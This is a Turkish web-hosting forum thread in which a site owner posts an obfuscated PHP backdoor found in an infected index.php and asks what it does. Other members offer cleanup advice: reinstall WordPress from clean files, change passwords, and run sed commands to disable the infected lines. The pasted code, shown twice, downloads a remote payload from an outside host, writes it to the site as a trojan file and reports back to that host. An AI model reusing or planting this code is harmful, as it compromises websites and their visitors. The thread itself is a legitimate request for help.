Şifrelenmiş dosyayı çözemedim nedir?

Question

Merhabalar, Bir kaç sitemde virüs sorunu ortaya çıktı çince index vs. index.php dosyamın başında da bu aşağıdaki kod var. Nedir bu? çözebilen varsa yazabilir mi direk bu satırı sileceğim ama karşılığı nedir bu kodun 0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWJvdXQucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cDovLzUxbGEuaXp2NC5jb20vYS50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovLzUxbGEuaXp2NC5jb20vP2Q9JXM=\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?>

yalinyalniz · Answer

akafo adlı üyeden alıntı: mesajı görüntüle Merhabalar, Bir kaç sitemde virüs sorunu ortaya çıktı çince index vs. index.php dosyamın başında da bu aşağıdaki kod var. Nedir bu? çözebilen varsa yazabilir mi direk bu satırı sileceğim ama karşılığı nedir bu kodun 0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWJvdXQucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cDovLzUxbGEuaXp2NC5jb20vYS50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovLzUxbGEuaXp2NC5jb20vP2Q9JXM=\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?>

akafo · Answer

yalinyalniz adlı üyeden alıntı:						mesajı görüntüle									Dosya ve URL kullanıyor, satırı silmek çözüm değil ama; detaylı bir temizlik ve kaynağı tespit etmek şart. 		bir çok htaccess dosyası vardı onları da kaldırdım. ama tekrar olacak mı bilemiyorum tabi

yalinyalniz · Answer

akafo adlı üyeden alıntı:						mesajı görüntüle									bir çok htaccess dosyası vardı onları da kaldırdım. ama tekrar olacak mı bilemiyorum tabi 		Bir kere girdiyse tekrar girer, her 6 dakikada bir tüm interneti tarayan botlar olduğu sürece açığı bulan girer.
Exploiti veya güvenlik sorunu yaratan kod-sunucu konfigürasyonlarını bulup önlem almak şart; siteyi tamamen Google'dan silen örnekler de mevcut çünkü.

akosetr · Answer

Bir siteye curl isteği atıyor, çok fazla virüsü yayma methodu var maalesef. İstek üzerinden sunucunuza görsel indirip görsel üzerinden zararlı kod çalıştırabilir ya da direkt istek attığı site üzerinden zararlı kodu çekebilir vs vs.

Kendiniz çözüm sağlayamazsanız , profesyonel destek sağlayabiliriz bu konuda.

Kendiniz çözüm sağlayamazsanız , profesyonel destek sağlayabiliriz bu konuda.

bagbaq · Answer

Merhabalar stackoverflow'da wordpress için buna benzer bir soru gördüm bu çözümü deneyebilirsiniz;
Bozulmuş virüslü dosyaları (index.php, .htaccess vs.) orjinal çalışan haliyle değiştirin.
wp-config.php ve wp-content klasörleri hariç tüm Wordpress klasörlerini silin.
https://wordpress.org/download/releases/ Bu bağlantıdan Wordpress'in en son sürümünü indirin.
İndirdiğiniz .zip arşivini sunucuya yükleyip arşivden çıkartın, wordpress adlı bir klasör oluşacak o klasörün içindekileri (wp-content hariç) kopyalayıp sitenin ana klasörüne atın.
Sitenizde kurulu olan pluginleri internetten bulup indirin.
wp-content/plugins klasörünü temizleyip indirdiğiniz pluginleri atın (arşivden çıkartmayı unutmayın).
Ve son olarak tüm ftp, veritabanı vs. şifrelerini değiştirin.

bagbaq · Answer

bagbaq adlı üyeden alıntı:						mesajı görüntüle									Merhabalar stackoverflow'da wordpress için buna benzer bir soru gördüm bu çözümü deneyebilirsiniz;Bozulmuş virüslü dosyaları (index.php, .htaccess vs.) orjinal çalışan haliyle değiştirin.
wp-config.php ve wp-content klasörleri hariç tüm Wordpress klasörlerini silin.
https://wordpress.org/download/releases/ Bu bağlantıdan Wordpress'in en son sürümünü indirin.
İndirdiğiniz .zip arşivini sunucuya yükleyip arşivden çıkartın, wordpress adlı bir klasör oluşacak o klasörün içindekileri (wp-content hariç) kopyalayıp sitenin ana klasörüne atın.
Sitenizde kurulu olan pluginleri internetten bulup indirin.
wp-content/plugins klasörünü temizleyip indirdiğiniz pluginleri atın (arşivden çıkartmayı unutmayın).
Ve son olarak tüm ftp, veritabanı vs. şifrelerini değiştirin.
 		Birde hocam bunuda deneyebilirsiniz direkt virüsün oluşturulma kodunu buluyor. Wordpress olduğu için çok alakam yok o yüzden çok kavrayamadım ama siz deneme yanılma yöntemiyle bulursunuz.

Had the same issue with not updated wordpress. My fast solution is execution 2 SSH commands from www root folder:

find . -type f -name '*.php' -print0 | xargs -0 sed -i 's/$path = "&#92;/home/&#92;/&#92;/$path = "&#92;/home/g'
find . -type f -name 'index.php' -print0 | xargs -0 sed -i 's/$OO0/&#92;/&#92;/$OO0/g'where /home - must be replaced with your site www folder, most times it is /var/www
command 1- make commented line with location of vidus code file
command 2- make commented line with virus in index.php

My virus regenation code located in /domains/public_html/wp-includes/plugin.php

Ek olarak dosyayı silip php processini yeniden başlatabilirsiniz. Dosyayı silince bellekte kalıyor olabilir.